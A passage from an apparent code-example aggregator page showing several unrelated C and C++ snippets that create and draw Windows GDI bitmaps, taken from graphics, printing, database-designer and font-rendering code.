				DrawThemeBackground(hTheme, hdcMem, BP_CHECKBOX, group->cl.items[group->scanIndex]->flags & CONTACTF_CHECKED ? (hottrack ? CBS_CHECKEDHOT : CBS_CHECKEDNORMAL) : (hottrack ? CBS_UNCHECKEDHOT : CBS_UNCHECKEDNORMAL), &rc, &rc);
				CloseThemeData(hTheme);
			}

			//icon
			if (group->cl.items[group->scanIndex]->type == CLCIT_GROUP)
				iImage = group->cl.items[group->scanIndex]->group->expanded ? IMAGE_GROUPOPEN : IMAGE_GROUPSHUT;
			else if (group->cl.items[group->scanIndex]->type == CLCIT_CONTACT)
				iImage = group->cl.items[group->scanIndex]->iImage;
			if (iImage != -1) {
				/*COLORREF colourFg=dat->selBkColour;
				int mode=ILD_NORMAL;
				if(selected) mode=ILD_SELECTED;
				else if(hottrack) {mode=ILD_FOCUS; colourFg=dat->hotTextColour;}
				else if(group->cl.items[group->scanIndex]->type==CLCIT_CONTACT && group->cl.items[group->scanIndex]->flags&CONTACTF_NOTONLIST) {colourFg=dat->fontInfo[FONTID_NOTONLIST].colour; mode=ILD_BLEND50;}
				ImageList_DrawEx(himlCListClc,iImage,hdcMem,dat->leftMargin+indent*dat->groupIndent+checkboxWidth,y+((dat->rowHeight-16)>>1),0,0,CLR_NONE,colourFg,mode);
				*/
				// this doesnt use CLS_CONTACTLIST since the colour prolly wont match anyway
				COLORREF colourFg = dat->selBkColour;
				int mode = ILD_NORMAL;
				if (hottrack) {
					colourFg = dat->hotTextColour;
				}
				else if (group->cl.items[group->scanIndex]->type == CLCIT_CONTACT && group->cl.items[group->scanIndex]->flags & CONTACTF_NOTONLIST) {
					colourFg = dat->fontInfo[FONTID_NOTONLIST].colour;
					mode = ILD_BLEND50;
				}
				if (group->cl.items[group->scanIndex]->type == CLCIT_CONTACT && dat->showIdle
					&& (group->cl.items[group->scanIndex]->flags & CONTACTF_IDLE)
					&& GetRealStatus(group->cl.items[group->scanIndex], ID_STATUS_OFFLINE) != ID_STATUS_OFFLINE)
					mode = ILD_SELECTED;
				ImageList_DrawEx(himlCListClc, iImage, hdcMem, dat->leftMargin + indent * dat->groupIndent + checkboxWidth,
					y + ((dat->rowHeight - 16) >> 1), 0, 0, CLR_NONE, colourFg, mode);
			}

			//text
			if (group->cl.items[group->scanIndex]->type == CLCIT_DIVIDER) {
				RECT rc;
				rc.top = y + (dat->rowHeight >> 1);
				rc.bottom = rc.top + 2;
				rc.left = dat->leftMargin + indent * dat->groupIndent;
				rc.right = rc.left + ((clRect.right - rc.left - textSize.cx) >> 1) - 3;
				DrawEdge(hdcMem, &rc, BDR_SUNKENOUTER, BF_RECT);
				TextOut(hdcMem, rc.right + 3, y + ((dat->rowHeight - fontHeight) >> 1), group->cl.items[group->scanIndex]->szText,
					lstrlen(group->cl.items[group->scanIndex]->szText));
				rc.left = rc.right + 6 + textSize.cx;
				rc.right = clRect.right;
				DrawEdge(hdcMem, &rc, BDR_SUNKENOUTER, BF_RECT);
			}
Esempio n. 26
0
int GPreadbitmap (Gwidget_t *widget, Gbitmap_t *bitmap, FILE *fp) {
    Gsize_t s;
    HDC gc;
    char bufp[2048];
    unsigned int rgb[3];
    char *s1, *s2;
    char c;
    int bufn, bufi, step, x, y, k;

    if (!widget) {
        Gerr (POS, G_ERRNOPARENTWIDGET);
        return -1;
    }
    if (!bitmap) {
        Gerr (POS, G_ERRNOBITMAP);
        return -1;
    }
    step = 0;
    while (step < 3) {
l1:
        if (!fgets (bufp, 2048, fp)) {
            Gerr (POS, G_ERRCANNOTREADBITMAP);
            return -1;
        }
        s1 = &bufp[0];
l2:
        for (; *s1 && isspace (*s1); s1++)
            ;
        if (!*s1 || *s1 == '#')
            goto l1;
        switch (step) {
        case 0:
            if (strncmp (s1, "P6", 2) != 0) {
                Gerr (POS, G_ERRCANNOTREADBITMAP);
                return -1;
            }
            step++, s1 += 2;
            goto l2;
        case 1:
            for (s2 = s1; *s2 && *s2 >= '0' && *s2 <= '9'; s2++)
                ;
            c = *s2, *s2 = 0;
            if (s2 == s1 || (s.x = atoi (s1)) <= 0) {
                *s2 = c, Gerr (POS, G_ERRCANNOTREADBITMAP);
                return -1;
            }
            *s2 = c, step++, s1 = s2;
            goto l2;
        case 2:
            for (s2 = s1; *s2 && *s2 >= '0' && *s2 <= '9'; s2++)
                ;
            c = *s2, *s2 = 0;
            if (s2 == s1 || (s.y = atoi (s1)) <= 0) {
                *s2 = c, Gerr (POS, G_ERRCANNOTREADBITMAP);
                return -1;
            }
            *s2 = c, step++, s1 = s2;
            goto l2;
        }
    }
    if (!(bitmap->u.bmap.orig = CreateBitmap (
        (int) s.x, (int) s.y, 1, Gdepth, NULL
    ))) {
        Gerr (POS, G_ERRCANNOTCREATEBITMAP);
        return -1;
    }
    gc = CreateCompatibleDC (GC);
    SelectObject (gc, bitmap->u.bmap.orig);
    bitmap->u.bmap.scaled = 0;
    bitmap->scale.x = bitmap->scale.y = 1;
    bitmap->ctype = widget->type;
    bitmap->canvas = widget - &Gwidgets[0];
    bitmap->size = s;
    bufi = bufn = 0;
    bufp[bufi] = 0;
    for (y = 0; y < s.y; y++) {
        for (x = 0; x < s.x; x++) {
            for (k = 0; k < 3; k++) {
                if (bufi == bufn) {
                    if ((bufn = fread (bufp, 1, 2047, fp)) == 0) {
                        if (ferror (fp))
                            bufn = -1;
                        DeleteDC (gc);
                        DeleteObject (bitmap->u.bmap.orig);
                        Gerr (POS, G_ERRCANNOTCREATEBITMAP);
                        return -1;
                    }
                    bufi = 0;
                }
                rgb[k] = (unsigned char) bufp[bufi++];
            }
            SetPixel (gc, x, y, RGB (rgb[0], rgb[1], rgb[2]));
        }
    }
    DeleteDC (gc);
    return 0;
}
Esempio n. 27
0
int GPcreatewidget (
    Gwidget_t *parent, Gwidget_t *widget, int attrn, Gwattr_t *attrp
) {
    PIXpoint_t po;
    PIXsize_t ps;
    PRINTDLG pd;
    DOCINFO di;
    DEVMODE *dmp;
    /* the 2 here is to provide enough space for palPalEntry[0] and [1] */
    LOGPALETTE pal[2];

    HBRUSH brush;
    HPEN pen;
    HBITMAP bmap;
    char *s, *s1;
    int color, lflag, ai, dpix, dpiy, i;

    s = Gpscanvasname;
    lflag = FALSE;
    po.x = po.y = 0;
    ps.x = ps.y = MINPWSIZE;
    for (ai = 0; ai < attrn; ai++) {
        switch (attrp[ai].id) {
        case G_ATTRORIGIN:
            GETORIGIN (attrp[ai].u.p, po);
            break;
        case G_ATTRSIZE:
            GETSIZE (attrp[ai].u.s, ps, MINPWSIZE);
            break;
        case G_ATTRNAME:
            if (attrp[ai].u.t && attrp[ai].u.t[0])
                s = attrp[ai].u.t;
            break;
        case G_ATTRMODE:
            if (strcmp ("landscape", attrp[ai].u.t) == 0)
                lflag = TRUE;
            else if (strcmp ("portrait", attrp[ai].u.t) == 0)
                lflag = FALSE;
            else {
                Gerr (POS, G_ERRBADATTRVALUE, attrp[ai].u.t);
                return -1;
            }
            break;
        case G_ATTRCOLOR:
            /* will do it after the widget is created */
            break;
        case G_ATTRVIEWPORT:
            /* will do it after the widget is created */
            break;
        case G_ATTRWINDOW:
            /* will do it after the widget is created */
            break;
        case G_ATTRWINDOWID:
            Gerr (POS, G_ERRCANNOTSETATTR1, "windowid");
            return -1;
        case G_ATTRUSERDATA:
            widget->udata = attrp[ai].u.u;
            break;
        default:
            Gerr (POS, G_ERRBADATTRID, attrp[ai].id);
            return -1;
        }
    }
    s1 = s + strlen (s) - 3;
    if (s1 > s && strncmp (s1, "emf", 3) == 0) {
        WPU->mode = 1;
        ps.x *= 8.235, ps.y *= 8.235;
        if (!(GC = CreateEnhMetaFile (NULL, s, NULL, "LEFTY\\0GRAPH\\0\\0"))) {
            Gerr (POS, G_ERRCANNOTCREATEWIDGET);
            return -1;
        }
    } else { /* open the printer device */
        WPU->mode = 2;
        di.cbSize = sizeof (DOCINFO);
        di.lpszDocName = NULL;
        di.lpszOutput = NULL;
        di.lpszDatatype = "LEFTY";
        di.fwType = 0;
        pd.lStructSize = sizeof (pd);
        pd.hwndOwner = NULL;
        pd.hDevMode = NULL;
        pd.hDevNames = NULL;
        pd.hDC = NULL;
        pd.Flags = PD_RETURNDC | PD_RETURNDEFAULT;
        pd.nFromPage = 0;
        pd.nToPage = 0;
        pd.nMinPage = 0;
        pd.nMaxPage = 0;
        pd.nCopies = 1;
        pd.hInstance = NULL;
        pd.lCustData = NULL;
        pd.lpfnPrintHook = NULL;
        pd.lpfnSetupHook = NULL;
        pd.lpPrintTemplateName = NULL;
        pd.lpSetupTemplateName = NULL;
        pd.hPrintTemplate = NULL;
        pd.hSetupTemplate = NULL;
        if (!PrintDlg (&pd)) {
            Gerr (POS, G_ERRCANNOTCREATEWIDGET);
            return -1;
        }
        if (lflag && pd.hDevMode) {
            dmp = (DEVMODE *) GlobalLock (pd.hDevMode);
            dmp->dmOrientation = DMORIENT_LANDSCAPE;
            GlobalUnlock (pd.hDevMode);
            pd.Flags = PD_RETURNDC;
            if (!PrintDlg (&pd)) {
                Gerr (POS, G_ERRCANNOTCREATEWIDGET);
                return -1;
            }
        }
        GC = pd.hDC;
        dpix = GetDeviceCaps (GC, LOGPIXELSX);
        if (dpix != 300)
            ps.x = ps.x * (double) dpix / 300.0;
        dpiy = GetDeviceCaps (GC, LOGPIXELSY);
        if (dpiy != 300)
            ps.y = ps.y * (double) dpiy / 300.0;
        if (StartDoc (GC, &di) <= 0 || StartPage (GC) <= 0) {
            Gerr (POS, G_ERRCANNOTCREATEWIDGET);
            return -1;
        }
    }
    WPU->wrect.o.x = 0.0, WPU->wrect.o.y = 0.0;
    WPU->wrect.c.x = 1.0, WPU->wrect.c.y = 1.0;
    WPU->vsize.x = ps.x, WPU->vsize.y = ps.y;
    WPU->ncolor = 2;
    pal[0].palVersion = 0x300; /* HA HA HA */
    pal[0].palNumEntries = 2;
    pal[0].palPalEntry[0].peRed = 255;
    pal[0].palPalEntry[0].peGreen = 255;
    pal[0].palPalEntry[0].peBlue = 255;
    pal[0].palPalEntry[0].peFlags = 0;
    pal[0].palPalEntry[1].peRed = 0;
    pal[0].palPalEntry[1].peGreen = 0;
    pal[0].palPalEntry[1].peBlue = 0;
    pal[0].palPalEntry[1].peFlags = 0;
    WPU->cmap = CreatePalette (&pal[0]);
    WPU->colors[0].color = pal[0].palPalEntry[0];
    for (i = 1; i < G_MAXCOLORS; i++)
        WPU->colors[i].color = pal[0].palPalEntry[1];
    SelectPalette (GC, WPU->cmap, FALSE);
    RealizePalette (GC);
    WPU->colors[0].inuse = TRUE;
    WPU->colors[1].inuse = TRUE;
    for (i = 2; i < G_MAXCOLORS; i++)
        WPU->colors[i].inuse = FALSE;
    WPU->gattr.color = 1;
    brush = CreateSolidBrush (PALETTEINDEX (1));
    SelectObject (GC, brush);
    pen = CreatePen (PS_SOLID, 1, PALETTEINDEX (1));
    SelectObject (GC, pen);
    SetTextColor (GC, PALETTEINDEX (1));
    SetBkMode (GC, TRANSPARENT);
    WPU->gattr.width = 0;
    WPU->gattr.mode = G_SRC;
    WPU->gattr.fill = 0;
    WPU->gattr.style = 0;
    WPU->defgattr = WPU->gattr;
    WPU->font = NULL;
    if (Gdepth == 1) {
        for (i = 0; i < 17; i++) {
            if (!(bmap = CreateBitmap (4, 4, 1, 1, &grays[i][0])))
                continue;
            WPU->grays[i] = CreatePatternBrush (bmap);
        }
    }
    for (ai = 0; ai < attrn; ai++) {
        switch (attrp[ai].id) {
        case G_ATTRCOLOR:
            color = attrp[ai].u.c.index;
            if (color < 0 || color > G_MAXCOLORS) {
                Gerr (POS, G_ERRBADCOLORINDEX, color);
                return -1;
            }
            WPU->colors[color].color.peRed = attrp[ai].u.c.r;
            WPU->colors[color].color.peGreen = attrp[ai].u.c.g;
            WPU->colors[color].color.peBlue = attrp[ai].u.c.b;
            WPU->colors[color].color.peFlags = 0;
            if (color >= WPU->ncolor)
                ResizePalette (WPU->cmap, color + 1), WPU->ncolor = color + 1;
            SetPaletteEntries (
                WPU->cmap, (int) color, 1, &WPU->colors[color].color
            );
            RealizePalette (GC);
            WPU->colors[color].inuse = TRUE;
            if (color == WPU->gattr.color)
                WPU->gattr.color = -1;
            break;
        case G_ATTRVIEWPORT:
            if (attrp[ai].u.s.x == 0)
                attrp[ai].u.s.x = 1;
            if (attrp[ai].u.s.y == 0)
                attrp[ai].u.s.y = 1;
            WPU->vsize.x = attrp[ai].u.s.x + 0.5;
            WPU->vsize.y = attrp[ai].u.s.y + 0.5;
            SetWindowPos (
                widget->w, (HWND) NULL, 0, 0, WPU->vsize.x,
                WPU->vsize.y, SWP_NOACTIVATE | SWP_NOZORDER | SWP_NOMOVE
            );
            break;
        case G_ATTRWINDOW:
            if (attrp[ai].u.r.o.x == attrp[ai].u.r.c.x)
                attrp[ai].u.r.c.x = attrp[ai].u.r.o.x + 1;
            if (attrp[ai].u.r.o.y == attrp[ai].u.r.c.y)
                attrp[ai].u.r.c.y = attrp[ai].u.r.o.y + 1;
            WPU->wrect = attrp[ai].u.r;
            break;
        }
    }
    return 0;
}
Esempio n. 28
0
frmDatabaseDesigner::frmDatabaseDesigner(frmMain *form, const wxString &_title, pgConn *conn)
	: pgFrame(NULL, _title)
{
	mainForm = form;
	SetTitle(wxT("Database Designer"));
	SetIcon(wxIcon(*ddmodel_32_png_ico));
	loading = true;
	closing = false;

	RestorePosition(100, 100, 600, 500, 450, 300);
	SetMinSize(wxSize(450, 300));

	// connection
	connection = conn;

	// notify wxAUI which frame to use
	manager.SetManagedWindow(this);
	manager.SetFlags(wxAUI_MGR_DEFAULT | wxAUI_MGR_TRANSPARENT_DRAG);

	wxWindowBase::SetFont(settings->GetSystemFont());

	// Set File menu
	fileMenu = new wxMenu();
	fileMenu->Append(MNU_NEW, _("&New database design\tCtrl-N"), _("Create a new database design"));
	fileMenu->AppendSeparator();
	fileMenu->Append(MNU_LOADMODEL, _("&Open Model..."), _("Open an existing database design from a file"));
	fileMenu->Append(MNU_SAVEMODEL, _("&Save Model"), _("Save changes at database design"));
	fileMenu->Append(MNU_SAVEMODELAS, _("&Save Model As..."), _("Save database design at new file"));
	fileMenu->AppendSeparator();
	fileMenu->Append(CTL_IMPSCHEMA, _("&Import Tables..."), _("Import tables from database schema to database designer model"));
	fileMenu->AppendSeparator();
	fileMenu->Append(MNU_EXIT, _("E&xit\tCtrl-W"), _("Exit database designer window"));

	// Set Diagram menu
	diagramMenu = new wxMenu();
	diagramMenu->Append(MNU_NEWDIAGRAM, _("&New model diagram"), _("Create a new diagram"));
	diagramMenu->Append(MNU_DELDIAGRAM, _("&Delete selected model diagram..."), _("Delete selected diagram"));
	diagramMenu->Append(MNU_RENDIAGRAM, _("&Rename selected model diagram..."), _("Rename selected diagram"));

	// Set View menu
	viewMenu = new wxMenu();
	viewMenu->AppendCheckItem(MNU_TOGGLEMBROWSER, _("&Model Browser"), _("Show / Hide Model Browser Window"));
	viewMenu->AppendCheckItem(MNU_TOGGLEDDSQL, _("&SQL Window"), _("Show / Hide SQL Window"));
	viewMenu->Check(MNU_TOGGLEDDSQL, true);
	viewMenu->Check(MNU_TOGGLEMBROWSER, true);

	// Set Help menu
	helpMenu = new wxMenu();
	helpMenu->Append(MNU_CONTENTS, _("&Help"), _("Open the helpfile."));
	helpMenu->Append(MNU_HELP, _("&SQL Help\tF1"), _("Display help on SQL commands."));

	// Set menu bar
	menuBar = new wxMenuBar();
	menuBar->Append(fileMenu, _("&File"));
	menuBar->Append(diagramMenu, _("&Diagram"));
	menuBar->Append(viewMenu, _("&View"));
	menuBar->Append(helpMenu, _("&Help"));
	SetMenuBar(menuBar);

	// Set status bar
	int iWidths[6] = {0, -1, 40, 150, 80, 80};
	CreateStatusBar(6);
	SetStatusBarPane(-1);
	SetStatusWidths(6, iWidths);

	// Set toolbar
	toolBar = new ctlMenuToolbar(this, -1, wxDefaultPosition, wxDefaultSize, wxTB_FLAT | wxTB_NODIVIDER);
	toolBar->SetToolBitmapSize(wxSize(16, 16));
	toolBar->AddTool(MNU_NEW, _("New Model"), *file_new_png_bmp, _("Create new model"), wxITEM_NORMAL);
	toolBar->AddTool(MNU_NEWDIAGRAM, _("New Diagram"), *ddnewdiagram_png_bmp, _("Add new diagram"), wxITEM_NORMAL);
	toolBar->AddSeparator();
	toolBar->AddTool(MNU_LOADMODEL, _("Open Model"), *file_open_png_bmp, _("Open existing model"), wxITEM_NORMAL);
	toolBar->AddTool(MNU_SAVEMODEL, _("Save Model"), *file_save_png_bmp, _("Save current model"), wxITEM_NORMAL);
	toolBar->AddSeparator();
	toolBar->AddTool(MNU_ADDTABLE, _("Add Table"), *table_png_bmp, _("Add empty table to the current model"), wxITEM_NORMAL);
	toolBar->AddTool(MNU_DELETETABLE, _("Delete Table"), wxBitmap(*ddRemoveTable2_png_img), _("Delete selected table"), wxITEM_NORMAL);
	toolBar->AddTool(MNU_ADDCOLUMN, _("Add Column"), *table_png_bmp, _("Add new column to the selected table"), wxITEM_NORMAL);
	toolBar->AddSeparator();
	toolBar->AddTool(MNU_GENERATEMODEL, _("Generate Model"), *continue_png_bmp, _("Generate SQL for the current model"), wxITEM_NORMAL);
	toolBar->AddTool(MNU_GENERATEDIAGRAM, _("Generate Diagram"), *ddgendiagram_png_bmp, _("Generate SQL for the current diagram"), wxITEM_NORMAL);
	toolBar->AddSeparator();
	toolBar->AddTool(CTL_IMPSCHEMA, _("Import Tables from database..."), *conversion_png_ico, _("Import tables from database schema to database designer model"), wxITEM_NORMAL);
	toolBar->AddSeparator();
	toolBar->AddTool(MNU_HELP, _("Help"), *help_png_bmp, _("Display help"), wxITEM_NORMAL);
	toolBar->Realize();

	// Create notebook for diagrams
	diagrams = new ctlAuiNotebook(this, CTL_DDNOTEBOOK, wxDefaultPosition, wxDefaultSize, wxAUI_NB_TOP | wxAUI_NB_TAB_SPLIT | wxAUI_NB_TAB_MOVE | wxAUI_NB_SCROLL_BUTTONS | wxAUI_NB_WINDOWLIST_BUTTON | wxAUI_NB_CLOSE_ON_ALL_TABS);

	// Now, the scratchpad
	sqltext = new ctlSQLBox(this, wxID_ANY, wxDefaultPosition, wxDefaultSize, wxTE_MULTILINE | wxSIMPLE_BORDER | wxTE_RICH2);

	//Now, the Objects Browser
	wxSizer *browserSizer = new wxBoxSizer(wxHORIZONTAL);
	browserPanel = new wxPanel(this, wxID_ANY, wxDefaultPosition, wxDefaultSize);

	// Add the database designer
	design = new ddDatabaseDesign(diagrams, this);

	// Create database model browser
	modelBrowser = new ddModelBrowser(browserPanel, DD_BROWSER, wxDefaultPosition, wxDefaultSize, wxTR_HAS_BUTTONS | wxSIMPLE_BORDER, design);
	design->registerBrowser(modelBrowser);

	// Set browser Sizers
	browserSizer->Add(modelBrowser, 1, wxEXPAND);
	browserPanel->SetSizer(browserSizer);
	browserSizer->SetSizeHints(browserPanel);

	// Add view to notebook
	diagrams->AddPage(design->createDiagram(diagrams, _("unnamed"), false)->getView(), _("unnamed"));


	// Add the database selection bar and schema selector
	wxSizer *connectionSizer = new wxBoxSizer(wxHORIZONTAL);
	connectionPanel = new wxPanel(this, wxID_ANY, wxDefaultPosition, wxSize(-1, -1));
	cbConnection = new wxBitmapComboBox(connectionPanel, CTL_DDCONNECTION, wxEmptyString, wxDefaultPosition, wxSize(-1, -1), wxArrayString(), wxCB_READONLY | wxCB_DROPDOWN);
	if(conn)
		cbConnection->Append(conn->GetName(), CreateBitmap(GetServerColour(conn)), (void *)conn);
	cbConnection->Append(_("<new connection>"), wxNullBitmap, (void *) NULL);

	connectionSizer->Add(cbConnection, 0, wxALIGN_LEFT | wxALIGN_CENTER_VERTICAL, 1);
	connectionSizer->AddSpacer(5);
	connectionPanel->SetSizer(connectionSizer);
	connectionSizer->SetSizeHints(connectionPanel);


	// Add the panes
	manager.AddPane(diagrams,
	                wxAuiPaneInfo().Center().
	                Name(wxT("sqlQuery")).Caption(_("Database Designer")).
	                CaptionVisible(true).CloseButton(false).MaximizeButton(true).
	                Dockable(true).Movable(true));
	manager.AddPane(browserPanel,
	                wxAuiPaneInfo().Left().
	                Name(wxT("ModelBrowser")).Caption(_("Model Browser")).
	                CaptionVisible(true).CloseButton(true).MinimizeButton(true).
	                MinSize(wxSize(140, 100)).BestSize(wxSize(200, 200)));
	manager.AddPane(sqltext,
	                wxAuiPaneInfo().Bottom().
	                Name(wxT("sqlText")).Caption(_("SQL query")).
	                CaptionVisible(true).CloseButton(true).MaximizeButton(true).MinimizeButton(true).
	                MinSize(wxSize(200, 100)).BestSize(wxSize(350, 150)));
	manager.AddPane(toolBar,
	                wxAuiPaneInfo().Top().
	                Name(wxT("toolBar")).Caption(_("Tool bar")).
	                ToolbarPane().
	                LeftDockable(false).RightDockable(false));
	manager.AddPane(connectionPanel, wxAuiPaneInfo().Name(wxT("databaseBar"))
	                .Caption(_("Connection bar")).ToolbarPane().Top().
	                LeftDockable(false).RightDockable(false));

	// Update the AUI manager
	manager.Update();

	//Update browser info
	modelBrowser->SetSize(browserPanel->GetSize());

	previousChanged = true;
	setModelChanged(false);
	SetStatusText(wxString(wxT("Ready")), 1);
}
Esempio n. 29
0
void rect_draw_some_item(HBITMAP src,RECT src_rect,HBITMAP dest,RECT dest_rect,
	short trans, short main_win) {
	HDC hdcMem,hdcMem2,hdcMem3,destDC;
	HBITMAP transbmp;
	COLORREF white = RGB(255,255,255),oldcolor;
	HBRUSH hbrush,old_brush;
	COLORREF x = RGB(17,17,17);
	HBITMAP store,store2;
	Boolean dlog_draw = FALSE;

	main_dc2 = CreateCompatibleDC(main_dc);
	SetMapMode(main_dc2,GetMapMode((HDC)mainPtr));
	main_dc3 = CreateCompatibleDC(main_dc);
	SetMapMode(main_dc3,GetMapMode((HDC)mainPtr));
	SetStretchBltMode(main_dc2,STRETCH_DELETESCANS);
	SetStretchBltMode(main_dc3,STRETCH_DELETESCANS);

	if (main_win == 2) {
		destDC = (HDC) dest;
		main_win = 1;
		dlog_draw = TRUE;
		hdcMem = CreateCompatibleDC(destDC);
		SelectObject(hdcMem, src);
		SetMapMode(hdcMem,GetMapMode((HDC)mainPtr));
		SetStretchBltMode(hdcMem,STRETCH_DELETESCANS);
		}
		else {
			destDC = main_dc;
			hdcMem = main_dc2;
			store = (HBITMAP)SelectObject(hdcMem,src);
			}


	SetStretchBltMode(destDC,STRETCH_DELETESCANS);
	SetStretchBltMode(hdcMem,STRETCH_DELETESCANS);
	if (trans != 1) {
		if (main_win == 0) { // Not transparent, into bitmap
			hdcMem2 = main_dc3;
			store2 = (HBITMAP)SelectObject(hdcMem2, dest);

			SetStretchBltMode(hdcMem2,STRETCH_DELETESCANS);

				StretchBlt(hdcMem2,dest_rect.left,dest_rect.top,dest_rect.right - dest_rect.left,
				dest_rect.bottom - dest_rect.top,
				hdcMem,src_rect.left,src_rect.top,src_rect.right - src_rect.left,
				src_rect.bottom - src_rect.top,(trans >= 0) ? SRCCOPY : SRCAND);
			SelectObject(hdcMem2,store2);
			}

		else { // Not transparent, onto screen
		if (trans == 2) {
			hbrush = CreateSolidBrush(x);
			old_brush = (HBRUSH)SelectObject(destDC,hbrush);
			//SelectObject(hdcMem,hbrush);
			}
		if (dlog_draw == FALSE)
			SetViewportOrgEx(destDC,ulx,uly,NULL);

		SetStretchBltMode(destDC,STRETCH_DELETESCANS);
		SetStretchBltMode(hdcMem,STRETCH_DELETESCANS);
		StretchBlt(destDC,dest_rect.left,dest_rect.top,dest_rect.right - dest_rect.left,
			dest_rect.bottom - dest_rect.top,
			hdcMem,src_rect.left,src_rect.top,src_rect.right - src_rect.left,
			src_rect.bottom - src_rect.top,(trans == 0) ? SRCCOPY : MERGECOPY);
			if (trans == 2) {
				SelectObject(destDC,old_brush);
				if (DeleteObject(hbrush) == 0)
					play_sound(1);
				}
		if (dlog_draw == FALSE)
			SetViewportOrgEx(destDC,0,0,NULL);


		}
		} // end of non-transparent draws
		else {
		if (main_win == 0) {
			hdcMem3 = CreateCompatibleDC(hdcMem);
			SelectObject(hdcMem3, dest);
			SetMapMode(hdcMem3,GetMapMode((HDC)mainPtr));
			transbmp = CreateBitmap(src_rect.right - src_rect.left,
						src_rect.bottom - src_rect.top,1,1,NULL);
		hdcMem2 = CreateCompatibleDC(destDC);
		SelectObject(hdcMem2, transbmp);
		oldcolor = SetBkColor(hdcMem, white);
		StretchBlt(hdcMem2,0,0,dest_rect.right - dest_rect.left,
			dest_rect.bottom - dest_rect.top,
			hdcMem,src_rect.left,src_rect.top,src_rect.right - src_rect.left,
			src_rect.bottom - src_rect.top,SRCCOPY);
		SetBkColor(hdcMem, oldcolor);

		StretchBlt(hdcMem3,dest_rect.left,dest_rect.top,dest_rect.right - dest_rect.left,
			dest_rect.bottom - dest_rect.top,
			hdcMem,src_rect.left,src_rect.top,src_rect.right - src_rect.left,
			src_rect.bottom - src_rect.top,SRCINVERT);
		StretchBlt(hdcMem3,dest_rect.left,dest_rect.top,dest_rect.right - dest_rect.left,
			dest_rect.bottom - dest_rect.top,
			hdcMem2,0,0,src_rect.right - src_rect.left,
			src_rect.bottom - src_rect.top,SRCAND);
		StretchBlt(hdcMem3,dest_rect.left,dest_rect.top,dest_rect.right - dest_rect.left,
			dest_rect.bottom - dest_rect.top,
			hdcMem,src_rect.left,src_rect.top,src_rect.right - src_rect.left,
			src_rect.bottom - src_rect.top,SRCINVERT);
		DeleteDC(hdcMem3);
		DeleteDC(hdcMem2);

			DeleteObject(transbmp);
		}
		else {
			if (dlog_draw == FALSE)
				SetViewportOrgEx(destDC,ulx,uly,NULL);
			transbmp = CreateBitmap(src_rect.right - src_rect.left,
						src_rect.bottom - src_rect.top,1,1,NULL);
			hdcMem2 = CreateCompatibleDC(destDC);
			SelectObject(hdcMem2, transbmp);
			oldcolor = SetBkColor(hdcMem, white);
			StretchBlt(hdcMem2,0,0,dest_rect.right - dest_rect.left,
				dest_rect.bottom - dest_rect.top,
				hdcMem,src_rect.left,src_rect.top,src_rect.right - src_rect.left,
				src_rect.bottom - src_rect.top,SRCCOPY);

			SetBkColor(hdcMem, oldcolor);

			StretchBlt(destDC,dest_rect.left,dest_rect.top,dest_rect.right - dest_rect.left,
				dest_rect.bottom - dest_rect.top,
				hdcMem,src_rect.left,src_rect.top,src_rect.right - src_rect.left,
				src_rect.bottom - src_rect.top,SRCINVERT);
			StretchBlt(destDC,dest_rect.left,dest_rect.top,dest_rect.right - dest_rect.left,
				dest_rect.bottom - dest_rect.top,
				hdcMem2,0,0,src_rect.right - src_rect.left,
				src_rect.bottom - src_rect.top,SRCAND);
			StretchBlt(destDC,dest_rect.left,dest_rect.top,dest_rect.right - dest_rect.left,
				dest_rect.bottom - dest_rect.top,
				hdcMem,src_rect.left,src_rect.top,src_rect.right - src_rect.left,
				src_rect.bottom - src_rect.top,SRCINVERT);
			if (dlog_draw == FALSE)
				SetViewportOrgEx(destDC,0,0,NULL);
			DeleteDC(hdcMem2);

				DeleteObject(transbmp);


			}
			}
	if (dlog_draw == TRUE)
		DeleteDC(hdcMem);
		else SelectObject(hdcMem,store);
	DeleteDC(main_dc2);
	DeleteDC(main_dc3);
}
Esempio n. 30
-1
/* Render a character. */
int
win_render_char(gx_xfont * xf, gx_xglyph xg, gx_device * dev,
		int xo, int yo, gx_color_index color, int required)
{
    char chr = (char)xg;
    int code;

#ifdef NOTUSED			/* we don't own any windows so we can no longer do this */
    if (dev->dname == gs_mswin_device.dname &&
	wdev->hdctext != NULL && !wxf->invert_y
	) {			/* Display the character directly */
	HDC hdc = wdev->hdctext;
	PALETTEENTRY *pal = &wdev->limgpalette->palPalEntry[color];

	if ((code = win_select_font(hdc, wxf)) < 0)
	    return code;
	SetTextColor(hdc, RGB(pal->peRed, pal->peGreen, pal->peBlue));
	SetBkMode(hdc, TRANSPARENT);
	TextOut(hdc, xo, yo - wxf->y_offset, &chr, 1);
    } else
#endif
    if (!required)
	code = -1;		/* too hard */
    else {			/* Display on an intermediate bitmap, then copy the bits. */
	gs_point wxy;
	gs_int_rect bbox;
	int w, h, wbm, raster;
	gx_device_win *fdev = wxf->dev;
	HBITMAP hbm;
	byte *bits;

	code = (*xf->common.procs->char_metrics) (xf, xg, 0,
						  &wxy, &bbox);
	if (code < 0)
	    return code;
	w = bbox.q.x - bbox.p.x;
	h = bbox.q.y - bbox.p.y;
	wbm = ROUND_UP(w, align_bitmap_mod * 8);
	raster = wbm >> 3;
	bits = gs_malloc(dev->memory, h, raster, "win_render_char");
	if (bits == 0)
	    return gs_error_limitcheck;
	hbm = CreateBitmap(wbm, h, 1, 1, NULL);
	if (hbm == NULL) {
	    code = gs_error_limitcheck;
	} else {
	    HDC hdcwin = win_get_dc(fdev);
	    HDC hdcbit = CreateCompatibleDC(hdcwin);

	    dev_proc_copy_mono((*copy_mono)) =
		dev_proc(dev, copy_mono);
	    int y = yo - wxf->y_offset;

	    SetMapMode(hdcbit, GetMapMode(hdcwin));
	    win_select_font(hdcbit, wxf);
	    SelectObject(hdcbit, hbm);
	    PatBlt(hdcbit, 0, 0, wbm, h, rop_write_0s);
	    SetTextColor(hdcbit, 0xffffffL);	/* 1 */
	    SetBkMode(hdcbit, TRANSPARENT);
	    TextOut(hdcbit, 0, 0, &chr, 1);
	    GetBitmapBits(hbm, (DWORD) raster * h, bits);
	    DeleteDC(hdcbit);
	    win_release_dc(fdev, hdcwin);
	    DeleteObject(hbm);
	    if (!wxf->invert_y)
		code = (*copy_mono) (dev, bits, 0,
				     raster, gx_no_bitmap_id,
				     xo, y, w, h,
				     gx_no_color_index, color);
	    else {		/* Copy scan lines in reverse order. */
		int i;

		y += h - 1;
		for (i = 0; i < h; i++)
		    (*copy_mono) (dev, bits + i * raster,
				  0, raster, gx_no_bitmap_id,
				  xo, y - i, w, 1,
